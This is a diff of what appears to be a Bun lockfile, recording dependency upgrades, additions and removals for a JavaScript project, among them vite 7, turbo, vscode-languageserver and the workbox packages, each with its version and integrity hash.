@@ -4349,8 +4617,6 @@
 
     "terser": ["terser@5.27.0", "", { "dependencies": { "@jridgewell/source-map": "^0.3.3", "acorn": "^8.8.2", "commander": "^2.20.0", "source-map-support": "~0.5.20" }, "bin": "bin/terser" }, "sha512-bi1HRwVRskAjheeYl291n3JC4GgO/Ty4z1nVs5AAsmonJulGxpSektecnNedrwK9C7vpvVtcX3cw00VSLt7U2A=="],
 
-    "terser-webpack-plugin": ["terser-webpack-plugin@5.3.10", "", { "dependencies": { "@jridgewell/trace-mapping": "^0.3.20", "jest-worker": "^27.4.5", "schema-utils": "^3.1.1", "serialize-javascript": "^6.0.1", "terser": "^5.26.0" }, "peerDependencies": { "webpack": "^5.1.0" } }, "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w=="],
-
     "test-exclude": ["test-exclude@6.0.0", "", { "dependencies": { "@istanbuljs/schema": "^0.1.2", "glob": "^7.1.4", "minimatch": "^3.0.4" } }, "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w=="],
 
     "text-decoder": ["text-decoder@1.2.3", "", { "dependencies": { "b4a": "^1.6.4" } }, "sha512-3/o9z3X0X0fTupwsYvR03pJ/DjWuqqrfwBgTQzdWDiQSm9KitAyz/9WqsT2JQW7KV2m+bC2ol/zqpW37NHxLaA=="],
@@ -4367,7 +4633,9 @@
 
     "tiny-emitter": ["tiny-emitter@2.1.0", "", {}, "sha512-NB6Dk1A9xgQPMoGqC5CVXn123gWyte215ONT5Pp5a0yt4nlEoO1ZWeCwpncaekPHXO60i47ihFnZPiRPjRMq4Q=="],
 
-    "tinyglobby": ["tinyglobby@0.2.13", "", { "dependencies": { "fdir": "^6.4.4", "picomatch": "^4.0.2" } }, "sha512-mEwzpUgrLySlveBwEVDMKk5B57bhLPYovRfPAXD5gA/98Opn0rCDj3GtLwFvCvH5RK9uPCExUROW5NjDwvqkxw=="],
+    "tinyexec": ["tinyexec@1.0.2", "", {}, "sha512-W/KYk+NFhkmsYpuHq5JykngiOCnxeVL8v8dFnqxSD8qEEdRfXk1SDM6JzNqcERbcGYj9tMrDQBYV9cjgnunFIg=="],
+
+    "tinyglobby": ["tinyglobby@0.2.15", "", { "dependencies": { "fdir": "^6.5.0", "picomatch": "^4.0.3" } }, "sha512-j2Zq4NyQYG5XMST4cbs02Ak8iJUdxRM0XI5QyxXuZOzKOINmWurp3smXu3y5wDcJrptwpSjgXHzIQxR0omXljQ=="],
 
     "tldts": ["tldts@6.1.86", "", { "dependencies": { "tldts-core": "^6.1.86" }, "bin": { "tldts": "bin/cli.js" } }, "sha512-WMi/OQ2axVTf/ykqCQgXiIct+mSQDFdH2fkwhPwgEwvJ1kSzZRiinb0zF2Xb8u4+OqPChmyI6MEu4EezNJz+FQ=="],
 
@@ -4403,8 +4671,12 @@
 
     "ts-api-utils": ["ts-api-utils@2.0.1", "", { "peerDependencies": { "typescript": ">=4.8.4" } }, "sha512-dnlgjFSVetynI8nzgJ+qF62efpglpWRk8isUEWZGWlJYySCTD6aKvbUDu+zbPeDakk3bg5H4XpitHukgfL1m9w=="],
 
+    "ts-dedent": ["ts-dedent@2.2.0", "", {}, "sha512-q5W7tVM71e2xjHZTlgfTDoPF/SmqKG5hddq9SzR49CH2hayqRKJtQ4mtRlSxKaJlR/+9rEM+mnBHf7I2/BQcpQ=="],
+
     "ts-interface-checker": ["ts-interface-checker@0.1.13", "", {}, "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA=="],
 
+    "ts-md5": ["ts-md5@1.3.1", "", {}, "sha512-DiwiXfwvcTeZ5wCE0z+2A9EseZsztaiZtGrtSaY5JOD7ekPnR/GoIVD5gXZAlK9Na9Kvpo9Waz5rW64WKAWApg=="],
+
     "ts-node": ["ts-node@10.9.2", "", { "dependencies": { "@cspotcode/source-map-support": "^0.8.0", "@tsconfig/node10": "^1.0.7", "@tsconfig/node12": "^1.0.7", "@tsconfig/node14": "^1.0.0", "@tsconfig/node16": "^1.0.2", "acorn": "^8.4.1", "acorn-walk": "^8.1.1", "arg": "^4.1.0", "create-require": "^1.1.0", "diff": "^4.0.1", "make-error": "^1.1.1", "v8-compile-cache-lib": "^3.0.1", "yn": "3.1.1" }, "peerDependencies": { "@swc/core": ">=1.2.50", "@swc/wasm": ">=1.2.50", "@types/node": "*", "typescript": ">=2.7" }, "optionalPeers": ["@swc/core", "@swc/wasm"], "bin": { "ts-node": "dist/bin.js", "ts-node-cwd": "dist/bin-cwd.js", "ts-node-esm": "dist/bin-esm.js", "ts-node-script": "dist/bin-script.js", "ts-node-transpile-only": "dist/bin-transpile.js", "ts-script": "dist/bin-script-deprecated.js" } }, "sha512-f0FFpIdcHgn8zcPSbf1dRevwt047YMnaiJM3u2w2RewrB+fob/zePZcrOyQoLMMO7aBIddLcQIEK5dYjkLnGrQ=="],
 
     "tsconfig-paths": ["tsconfig-paths@3.15.0", "", { "dependencies": { "@types/json5": "^0.0.29", "json5": "^1.0.2", "minimist": "^1.2.6", "strip-bom": "^3.0.0" } }, "sha512-2Ac2RgzDe/cn48GvOe3M+o82pEFewD3UPbyoUHHdKasHwJKjds4fLXWf/Ux5kATBKN20oaFGu+jbElp1pos0mg=="],
@@ -4413,6 +4685,20 @@
 
     "tty-browserify": ["tty-browserify@0.0.1", "", {}, "sha512-C3TaO7K81YvjCgQH9Q1S3R3P3BtN3RIM8n+OvX4il1K1zgE8ZhI0op7kClgkxtutIE8hQrcrHBXvIheqKUUCxw=="],
 
+    "turbo": ["turbo@2.8.14", "", { "optionalDependencies": { "turbo-darwin-64": "2.8.14", "turbo-darwin-arm64": "2.8.14", "turbo-linux-64": "2.8.14", "turbo-linux-arm64": "2.8.14", "turbo-windows-64": "2.8.14", "turbo-windows-arm64": "2.8.14" }, "bin": { "turbo": "bin/turbo" } }, "sha512-UCTxeMNYT1cKaHiIFdLCQ7ulI+jw5i5uOnJOrRXsgUD7G3+OjlUjwVd7JfeVt2McWSVGjYA3EVW/v1FSsJ5DtA=="],
+
+    "turbo-darwin-64": ["turbo-darwin-64@2.8.14", "", { "os": "darwin", "cpu": "x64" }, "sha512-9sFi7n2lLfEsGWi5OEoA/eTtQU2BPKtzSYKqufMtDeRmqMT9vKjbv9gJCRkllSVE9BOXA0qXC3diyX8V8rKIKw=="],
+
+    "turbo-darwin-arm64": ["turbo-darwin-arm64@2.8.14", "", { "os": "darwin", "cpu": "arm64" }, "sha512-aS4yJuy6A1PCLws+PJpZP0qCURG8Y5iVx13z/WAbKyeDTY6W6PiGgcEllSaeLGxyn++382ztN/EZH85n2zZ6VQ=="],
+
+    "turbo-linux-64": ["turbo-linux-64@2.8.14", "", { "os": "linux", "cpu": "x64" }, "sha512-XC6wPUDJkakjhNLaS0NrHDMiujRVjH+naEAwvKLArgqRaFkNxjmyNDRM4eu3soMMFmjym6NTxYaF74rvET+Orw=="],
+
+    "turbo-linux-arm64": ["turbo-linux-arm64@2.8.14", "", { "os": "linux", "cpu": "arm64" }, "sha512-ChfE7isyVNjZrVSPDwcfqcHLG/FuIBbOFxnt1FM8vSuBGzHAs8AlTdwFNIxlEMJfZ8Ad9mdMxdmsCUPIWiQ6cg=="],
+
+    "turbo-windows-64": ["turbo-windows-64@2.8.14", "", { "os": "win32", "cpu": "x64" }, "sha512-FTbIeQL1ycLFW2t9uQNMy+bRSzi3Xhwun/e7ZhFBdM+U0VZxxrtfYEBM9CHOejlfqomk6Jh7aRz0sJoqYn39Hg=="],
+
+    "turbo-windows-arm64": ["turbo-windows-arm64@2.8.14", "", { "os": "win32", "cpu": "arm64" }, "sha512-KgZX12cTyhY030qS7ieT8zRkhZZE2VWJasDFVUSVVn17nR7IShpv68/7j5UqJNeRLIGF1XPK0phsP5V5yw3how=="],
+
     "type": ["type@2.7.3", "", {}, "sha512-8j+1QmAbPvLZow5Qpi6NCaN8FB60p/6x8/vfNqOk/hC+HuvFZhL4+WfekuhQLiqFZXOgQdrs3B+XxEmCc6b3FQ=="],
 
     "type-check": ["type-check@0.4.0", "", { "dependencies": { "prelude-ls": "^1.2.1" } }, "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew=="],
@@ -4441,6 +4727,8 @@
 
     "ua-parser-js": ["ua-parser-js@1.0.37", "", {}, "sha512-bhTyI94tZofjo+Dn8SN6Zv8nBDvyXTymAdM3LDI/0IboIUwTu1rEhW7v2TfiVsoYWgkQ4kOVqnI8APUFbIQIFQ=="],
 
+    "ufo": ["ufo@1.6.3", "", {}, "sha512-yDJTmhydvl5lJzBmy/hyOAA0d+aqCBuwl818haVdYCRrWV84o7YyeVm4QlVHStqNrrJSTb6jKuFAVqAFsr+K3Q=="],
+
     "uglify-js": ["uglify-js@3.17.4", "", { "bin": { "uglifyjs": "bin/uglifyjs" } }, "sha512-T9q82TJI9e/C1TAxYvfb16xO120tMVFZrGA3f9/P4424DNu6ypK103y0GPFVa17yotwSyZW5iYXgjYHkGrJW/g=="],
 
     "uid-safe": ["uid-safe@2.1.5", "", { "dependencies": { "random-bytes": "~1.0.0" } }, "sha512-KPHm4VL5dDXKz01UuEd88Df+KzynaohSL9fBh096KWAxSKZQDI2uBrVqtvRM4rwrIrRRKsdLNML/lnaaVSRioA=="],
@@ -4451,7 +4739,9 @@
 
     "undefsafe": ["undefsafe@2.0.5", "", {}, "sha512-WxONCrssBM8TSPRqN5EmsjVrsv4A8X12J4ArBiiayv3DyyG3ZlIg6yysuuSYdZsVz3TKcTg2fd//Ujd4CHV1iA=="],
 
-    "undici": ["undici@7.16.0", "", {}, "sha512-QEg3HPMll0o3t2ourKwOeUAZ159Kn9mx5pnzHRQO8+Wixmh88YdZRiIwat0iNzNNXn0yoEtXJqFpyW7eM8BV7g=="],
+    "underscore": ["underscore@1.13.8", "", {}, "sha512-DXtD3ZtEQzc7M8m4cXotyHR+FAS18C64asBYY5vqZexfYryNNnDc02W4hKg3rdQuqOYas1jkseX0+nZXjTXnvQ=="],
+
+    "undici": ["undici@7.22.0", "", {}, "sha512-RqslV2Us5BrllB+JeiZnK4peryVTndy9Dnqq62S3yYRRTj0tFQCwEniUy2167skdGOy3vqRzEvl1Dm4sV2ReDg=="],
 
     "undici-types": ["undici-types@5.26.5", "", {}, "sha512-JlCMO+ehdEIKqlFxk6IfVoAUVmgz7cU7zD/h9XZ0qzeosSHmUJVOzSQvvYSYWXkFXC+IfLKSIffhv0sVZup6pA=="],
 
@@ -4495,10 +4785,6 @@
 
     "url": ["url@0.11.4", "", { "dependencies": { "punycode": "^1.4.1", "qs": "^6.12.3" } }, "sha512-oCwdVC7mTuWiPyjLUz/COz5TLk6wgp0RCsN+wHZ2Ekneac9w8uuV0njcbbie2ME+Vs+d6duwmYuR3HgQXs1fOg=="],
 
-    "url-parse": ["url-parse@1.5.10", "", { "dependencies": { "querystringify": "^2.1.1", "requires-port": "^1.0.0" } }, "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ=="],
-
-    "url-template": ["url-template@2.0.8", "", {}, "sha512-XdVKMF4SJ0nP/O7XIPB0JwAEuT9lDIYnNsK8yGVe43y0AWoKeJNdv3ZNWh7ksJ6KqQFjOO6ox/VEitLnaVNufw=="],
-
     "use-callback-ref": ["use-callback-ref@1.3.3", "", { "dependencies": { "tslib": "^2.0.0" }, "peerDependencies": { "@types/react": "*", "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc" } }, "sha512-jQL3lRnocaFtu3V00JToYz/4QkNWswxijDaCVNZRiRTO3HQDLsdu1ZtmIUvV4yPp+rvWm5j0y0TG/S61cuijTg=="],
 
     "use-composed-ref": ["use-composed-ref@1.3.0", "", { "peerDependencies": { "react": "^16.8.0 || ^17.0.0 || ^18.0.0" } }, "sha512-GLMG0Jc/jiKov/3Ulid1wbv3r54K9HlMW29IWcDFPEqFkSO2nS0MuefWgMJpeHQ9YJeXDL3ZUF+P3jdXlZX/cQ=="],
@@ -4535,36 +4821,42 @@
 
     "vfile-message": ["vfile-message@4.0.2", "", { "dependencies": { "@types/unist": "^3.0.0", "unist-util-stringify-position": "^4.0.0" } }, "sha512-jRDZ1IMLttGj41KcZvlrYAaI3CfqpLpfpf+Mfig13viT6NKvRzWZ+lXz0Y5D60w6uJIBAOGq9mSHf0gktF0duw=="],
 
-    "vite": ["vite@6.4.1", "", { "dependencies": { "esbuild": "^0.25.0", "fdir": "^6.4.4", "picomatch": "^4.0.2", "postcss": "^8.5.3", "rollup": "^4.34.9", "tinyglobby": "^0.2.13" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^18.0.0 || ^20.0.0 || >=22.0.0", "jiti": ">=1.21.0", "less": "*", "lightningcss": "^1.21.0", "sass": "*", "sass-embedded": "*", "stylus": "*", "sugarss": "*", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "tsx"], "bin": "bin/vite.js" }, "sha512-+Oxm7q9hDoLMyJOYfUYBuHQo+dkAloi33apOPP56pzj+vsdJDzr+j1NISE5pyaAuKL4A3UD34qd0lx5+kfKp2g=="],
+    "vite": ["vite@7.3.1", "", { "dependencies": { "esbuild": "^0.27.0", "fdir": "^6.5.0", "picomatch": "^4.0.3", "postcss": "^8.5.6", "rollup": "^4.43.0", "tinyglobby": "^0.2.15" }, "optionalDependencies": { "fsevents": "~2.3.3" }, "peerDependencies": { "@types/node": "^20.19.0 || >=22.12.0", "jiti": ">=1.21.0", "less": "^4.0.0", "lightningcss": "^1.21.0", "sass": "^1.70.0", "sass-embedded": "^1.70.0", "stylus": ">=0.54.8", "sugarss": "^5.0.0", "terser": "^5.16.0", "tsx": "^4.8.1", "yaml": "^2.4.2" }, "optionalPeers": ["@types/node", "jiti", "less", "lightningcss", "sass", "sass-embedded", "stylus", "sugarss", "terser", "tsx", "yaml"], "bin": { "vite": "bin/vite.js" } }, "sha512-w+N7Hifpc3gRjZ63vYBXA56dvvRlNWRczTdmCBBa+CotUzAPf5b7YMdMR/8CQoeYE5LX3W4wj6RYTgonm1b9DA=="],
 
     "vite-plugin-compression2": ["vite-plugin-compression2@2.2.1", "", { "dependencies": { "@rollup/pluginutils": "^5.1.0", "tar-mini": "^0.2.0" } }, "sha512-LMDkgheJaFBmb8cB8ymgUpXHXnd3m4kmjEInvp59fOZMSaT/9oDUtqpO0ihr4ExGsnWfYcRe13/TNN3BEk2t/g=="],
 
-    "vite-plugin-node-polyfills": ["vite-plugin-node-polyfills@0.23.0", "", { "dependencies": { "@rollup/plugin-inject": "^5.0.5", "node-stdlib-browser": "^1.2.0" }, "peerDependencies": { "vite": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0" } }, "sha512-4n+Ys+2bKHQohPBKigFlndwWQ5fFKwaGY6muNDMTb0fSQLyBzS+jjUNRZG9sKF0S/Go4ApG6LFnUGopjkILg3w=="],
+    "vite-plugin-node-polyfills": ["vite-plugin-node-polyfills@0.25.0", "", { "dependencies": { "@rollup/plugin-inject": "^5.0.5", "node-stdlib-browser": "^1.3.1" }, "peerDependencies": { "vite": "^2.0.0 || ^3.0.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" } }, "sha512-rHZ324W3LhfGPxWwQb2N048TThB6nVvnipsqBUJEzh3R9xeK9KI3si+GMQxCuAcpPJBVf0LpDtJ+beYzB3/chg=="],
 
-    "vite-plugin-pwa": ["vite-plugin-pwa@0.21.2", "", { "dependencies": { "debug": "^4.3.6", "pretty-bytes": "^6.1.1", "tinyglobby": "^0.2.10", "workbox-build": "^7.3.0", "workbox-window": "^7.3.0" }, "peerDependencies": { "@vite-pwa/assets-generator": "^0.2.6", "vite": "^3.1.0 || ^4.0.0 || ^5.0.0 || ^6.0.0", "workbox-build": "^7.3.0", "workbox-window": "^7.3.0" }, "optionalPeers": ["@vite-pwa/assets-generator"] }, "sha512-vFhH6Waw8itNu37hWUJxL50q+CBbNcMVzsKaYHQVrfxTt3ihk3PeLO22SbiP1UNWzcEPaTQv+YVxe4G0KOjAkg=="],
+    "vite-plugin-pwa": ["vite-plugin-pwa@1.2.0", "", { "dependencies": { "debug": "^4.3.6", "pretty-bytes": "^6.1.1", "tinyglobby": "^0.2.10", "workbox-build": "^7.4.0", "workbox-window": "^7.4.0" }, "peerDependencies": { "@vite-pwa/assets-generator": "^1.0.0", "vite": "^3.1.0 || ^4.0.0 || ^5.0.0 || ^6.0.0 || ^7.0.0" }, "optionalPeers": ["@vite-pwa/assets-generator"] }, "sha512-a2xld+SJshT9Lgcv8Ji4+srFJL4k/1bVbd1x06JIkvecpQkwkvCncD1+gSzcdm3s+owWLpMJerG3aN5jupJEVw=="],
 
     "vm-browserify": ["vm-browserify@1.1.2", "", {}, "sha512-2ham8XPWTONajOR0ohOKOHXkm3+gaBmGut3SRuu75xLd/RRaY6vqgh8NBYYk7+RW3u5AtzPQZG8F10LHkl0lAQ=="],
 
     "void-elements": ["void-elements@3.1.0", "", {}, "sha512-Dhxzh5HZuiHQhbvTW9AMetFfBHDMYpo23Uo9btPXgdYP+3T5S+p+jgNy7spra+veYhBP2dCSgxR/i2Y02h5/6w=="],
 
+    "vscode-jsonrpc": ["vscode-jsonrpc@8.2.0", "", {}, "sha512-C+r0eKJUIfiDIfwJhria30+TYWPtuHJXHtI7J0YlOmKAo7ogxP20T0zxB7HZQIFhIyvoBPwWskjxrvAtfjyZfA=="],
+
+    "vscode-languageserver": ["vscode-languageserver@9.0.1", "", { "dependencies": { "vscode-languageserver-protocol": "3.17.5" }, "bin": { "installServerIntoExtension": "bin/installServerIntoExtension" } }, "sha512-woByF3PDpkHFUreUa7Hos7+pUWdeWMXRd26+ZX2A8cFx6v/JPTtd4/uN0/jB6XQHYaOlHbio03NTHCqrgG5n7g=="],
+
+    "vscode-languageserver-protocol": ["vscode-languageserver-protocol@3.17.5", "", { "dependencies": { "vscode-jsonrpc": "8.2.0", "vscode-languageserver-types": "3.17.5" } }, "sha512-mb1bvRJN8SVznADSGWM9u/b07H7Ecg0I3OgXDuLdn307rl/J3A9YD6/eYOssqhecL27hK1IPZAsaqh00i/Jljg=="],
+
+    "vscode-languageserver-textdocument": ["vscode-languageserver-textdocument@1.0.12", "", {}, "sha512-cxWNPesCnQCcMPeenjKKsOCKQZ/L6Tv19DTRIGuLWe32lyzWhihGVJ/rcckZXJxfdKCFvRLS3fpBIsV/ZGX4zA=="],
+
+    "vscode-languageserver-types": ["vscode-languageserver-types@3.17.5", "", {}, "sha512-Ld1VelNuX9pdF39h2Hgaeb5hEZM2Z3jUrrMgWQAu82jMtZp7p3vJT3BzToKtZI7NgQssZje5o0zryOrhQvzQAg=="],
+
+    "vscode-uri": ["vscode-uri@3.1.0", "", {}, "sha512-/BpdSx+yCQGnCvecbyXdxHDkuk55/G3xwnC0GqY4gmQ3j+A+g8kzzgB4Nk/SINjqn6+waqw3EgbVF2QKExkRxQ=="],
+
     "w3c-keyname": ["w3c-keyname@2.2.8", "", {}, "sha512-dpojBhNsCNN7T82Tm7k26A6G9ML3NkhDsnw9n/eoxSRlVBB4CEtIQ/KTCLI2Fwf3ataSXRhYFkQi3SlnFwPvPQ=="],
 
     "w3c-xmlserializer": ["w3c-xmlserializer@5.0.0", "", { "dependencies": { "xml-name-validator": "^5.0.0" } }, "sha512-o8qghlI8NZHU1lLPrpi2+Uq7abh4GGPpYANlalzWxyWteJOCsr/P+oPBA49TOLu5FTZO4d3F9MnWJfiMo4BkmA=="],
 
     "walker": ["walker@1.0.8", "", { "dependencies": { "makeerror": "1.0.12" } }, "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ=="],
 
-    "watchpack": ["watchpack@2.4.2", "", { "dependencies": { "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.1.2" } }, "sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw=="],
-
     "web-namespaces": ["web-namespaces@2.0.1", "", {}, "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ=="],
 
     "web-streams-polyfill": ["web-streams-polyfill@3.3.3", "", {}, "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw=="],
 
     "webidl-conversions": ["webidl-conversions@3.0.1", "", {}, "sha512-2JAn3z8AR6rjK8Sm8orRC0h/bcl/DqL7tRPdGZ4I1CjdF+EaMLmYxBHyXuKL849eucPFhvBoxMsflfOb8kxaeQ=="],
 
-    "webpack": ["webpack@5.94.0", "", { "dependencies": { "@types/estree": "^1.0.5", "@webassemblyjs/ast": "^1.12.1", "@webassemblyjs/wasm-edit": "^1.12.1", "@webassemblyjs/wasm-parser": "^1.12.1", "acorn": "^8.7.1", "acorn-import-attributes": "^1.9.5", "browserslist": "^4.21.10", "chrome-trace-event": "^1.0.2", "enhanced-resolve": "^5.17.1", "es-module-lexer": "^1.2.1", "eslint-scope": "5.1.1", "events": "^3.2.0", "glob-to-regexp": "^0.4.1", "graceful-fs": "^4.2.11", "json-parse-even-better-errors": "^2.3.1", "loader-runner": "^4.2.0", "mime-types": "^2.1.27", "neo-async": "^2.6.2", "schema-utils": "^3.2.0", "tapable": "^2.1.1", "terser-webpack-plugin": "^5.3.10", "watchpack": "^2.4.1", "webpack-sources": "^3.2.3" }, "bin": "bin/webpack.js" }, "sha512-KcsGn50VT+06JH/iunZJedYGUJS5FGjow8wb9c0v5n1Om8O1g4L6LjtfxwlXIATopoQu+vOXXa7gYisWxCoPyg=="],
-
-    "webpack-sources": ["webpack-sources@3.2.3", "", {}, "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w=="],
-
     "websocket-driver": ["websocket-driver@0.7.4", "", { "dependencies": { "http-parser-js": ">=0.5.1", "safe-buffer": ">=5.1.0", "websocket-extensions": ">=0.1.1" } }, "sha512-b17KeDIQVjvb0ssuSDF2cYXSg2iztliJ4B9WdsuB6J952qCPKmnVq4DyW5motImXHDC1cBT/1UezrJVsKw5zjg=="],
 
     "websocket-extensions": ["websocket-extensions@0.1.4", "", {}, "sha512-OqedPIGOfsDlo31UNwYbCFMSaO9m9G/0faIHj5/dZFDMFqPTcx6UwqyOy3COEaEOg/9VsGIpdqn62W5KhoKSpg=="],
@@ -4595,37 +4887,37 @@
 
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+    "workbox-google-analytics": ["workbox-google-analytics@7.4.0", "", { "dependencies": { "workbox-background-sync": "7.4.0", "workbox-core": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0" } }, "sha512-MVPXQslRF6YHkzGoFw1A4GIB8GrKym/A5+jYDUSL+AeJw4ytQGrozYdiZqUW1TPQHW8isBCBtyFJergUXyNoWQ=="],
 
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+    "workbox-recipes": ["workbox-recipes@7.4.0", "", { "dependencies": { "workbox-cacheable-response": "7.4.0", "workbox-core": "7.4.0", "workbox-expiration": "7.4.0", "workbox-precaching": "7.4.0", "workbox-routing": "7.4.0", "workbox-strategies": "7.4.0" } }, "sha512-kOkWvsAn4H8GvAkwfJTbwINdv4voFoiE9hbezgB1sb/0NLyTG4rE7l6LvS8lLk5QIRIto+DjXLuAuG3Vmt3cxQ=="],
 
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-    "workbox-streams": ["workbox-streams@7.3.0", "", { "dependencies": { "workbox-core": "7.3.0", "workbox-routing": "7.3.0" } }, "sha512-SZnXucyg8x2Y61VGtDjKPO5EgPUG5NDn/v86WYHX+9ZqvAsGOytP0Jxp1bl663YUuMoXSAtsGLL+byHzEuMRpw=="],
+    "workbox-streams": ["workbox-streams@7.4.0", "", { "dependencies": { "workbox-core": "7.4.0", "workbox-routing": "7.4.0" } }, "sha512-QHPBQrey7hQbnTs5GrEVoWz7RhHJXnPT+12qqWM378orDMo5VMJLCkCM1cnCk+8Eq92lccx/VgRZ7WAzZWbSLg=="],
 
-    "workbox-sw": ["workbox-sw@7.3.0", "", {}, "sha512-aCUyoAZU9IZtH05mn0ACUpyHzPs0lMeJimAYkQkBsOWiqaJLgusfDCR+yllkPkFRxWpZKF8vSvgHYeG7LwhlmA=="],
+    "workbox-sw": ["workbox-sw@7.4.0", "", {}, "sha512-ltU+Kr3qWR6BtbdlMnCjobZKzeV1hN+S6UvDywBrwM19TTyqA03X66dzw1tEIdJvQ4lYKkBFox6IAEhoSEZ8Xw=="],
 
-    "workbox-window": ["workbox-window@7.3.0", "", { "dependencies": { "@types/trusted-types": "^2.0.2", "workbox-core": "7.3.0" } }, "sha512-qW8PDy16OV1UBaUNGlTVcepzrlzyzNW/ZJvFQQs2j2TzGsg6IKjcpZC1RSquqQnTOafl5pCj5bGfAHlCjOOjdA=="],
+    "workbox-window": ["workbox-window@7.4.0", "", { "dependencies": { "@types/trusted-types": "^2.0.2", "workbox-core": "7.4.0" } }, "sha512-/bIYdBLAVsNR3v7gYGaV4pQW3M3kEPx5E8vDxGvxo6khTrGtSSCS7QiFKv9ogzBgZiy0OXLP9zO28U/1nF1mfw=="],
 
     "wrap-ansi": ["wrap-ansi@9.0.0", "", { "dependencies": { "ansi-styles": "^6.2.1", "string-width": "^7.0.0", "strip-ansi": "^7.1.0" } }, "sha512-G8ura3S+3Z2G+mkgNRq8dqaFZAuxfsxpBB8OCTGRTCtp+l/v9nbFNmCUP1BZMts3G1142MsZfn6eeUKrr4PD1Q=="],
 
@@ -4637,6 +4929,8 @@
 
     "ws": ["ws@8.18.0", "", { "peerDependencies": { "bufferutil": "^4.0.1", "utf-8-validate": ">=5.0.2" }, "optionalPeers": ["bufferutil", "utf-8-validate"] }, "sha512-8VbfWfHLbbwu3+N6OKsOMpBdT4kXPDDB9cJk2bJ6mh9ucxdlnNvH1e+roYkKmN9Nxw2yjz7VzeO9oOz2zJ04Pw=="],
 
+    "xlsx": ["xlsx@https://cdn.sheetjs.com/xlsx-0.20.3/xlsx-0.20.3.tgz", { "bin": { "xlsx": "./bin/xlsx.njs" } }],
+
     "xml": ["xml@1.0.1", "", {}, "sha512-huCv9IH9Tcf95zuYCsQraZtWnJvBtLVE0QHMOs8bWyZAFZNDcYjsPq1nEx8jKA9y+Beo9v+7OBPRisQTjinQMw=="],
 
     "xml-crypto": ["xml-crypto@6.1.2", "", { "dependencies": { "@xmldom/is-dom-node": "^1.0.1", "@xmldom/xmldom": "^0.8.10", "xpath": "^0.0.33" } }, "sha512-leBOVQdVi8FvPJrMYoum7Ici9qyxfE4kVi+AkpUoYCSXaQF4IlBm1cneTK9oAxR61LpYxTx7lNcsnBIeRpGW2w=="],
@@ -4647,7 +4941,7 @@
 
     "xml2js": ["xml2js@0.6.2", "", { "dependencies": { "sax": ">=0.6.0", "xmlbuilder": "~11.0.0" } }, "sha512-T4rieHaC1EXcES0Kxxj4JWgaUQHDk+qwHcYOCFHfiwKz7tOVPLq7Hjq9dM1WCMhylqMEfP7hMcOIChvotiZegA=="],
 
-    "xmlbuilder": ["xmlbuilder@15.1.1", "", {}, "sha512-yMqGBqtXyeN1e3TGYvgNgDVZ3j84W4cwkOXQswghol6APgZWaff9lnbvN7MHYJOiXsvGPXtjTYJEiC9J2wv9Eg=="],
+    "xmlbuilder": ["xmlbuilder@10.1.1", "", {}, "sha512-OyzrcFLL/nb6fMGHbiRDuPup9ljBycsdCypwuyg5AAHvyWzGfChJpCXMG88AGTIMFhGZ9RccFN1e6lhg3hkwKg=="],
 
     "xmlchars": ["xmlchars@2.2.0", "", {}, "sha512-JZnDKK8B0RCDw84FNdDAIpZK+JuJw+s7Lz8nksI7SIuU3UXJJslUthsi+uWBUYOwPFwW7W7PRLRfUKpxjtjFCw=="],
 
@@ -4671,11 +4965,9 @@
 
     "yocto-queue": ["yocto-queue@0.1.0", "", {}, "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q=="],
 
-    "youtube-transcript": ["youtube-transcript@1.2.1", "", {}, "sha512-TvEGkBaajKw+B6y91ziLuBLsa5cawgowou+Bk0ciGpjELDfAzSzTGXaZmeSSkUeknCPpEr/WGApOHDwV7V+Y9Q=="],
-
     "zod": ["zod@3.25.67", "", {}, "sha512-idA2YXwpCdqUSKRCACDE6ItZD9TZzy3OZMtpfLoh6oPR47lipysRrJfjzMqFxQ3uJuUPyUeWe1r9vLH33xO/Qw=="],
 
-    "zod-to-json-schema": ["zod-to-json-schema@3.24.3", "", { "peerDependencies": { "zod": "^3.24.1" } }, "sha512-HIAfWdYIt1sssHfYZFCXp4rU1w2r8hVVXYIlmoa0r0gABLs5di3RCqPU5DDROogVz1pAdYBaz7HK5n9pSUNs3A=="],
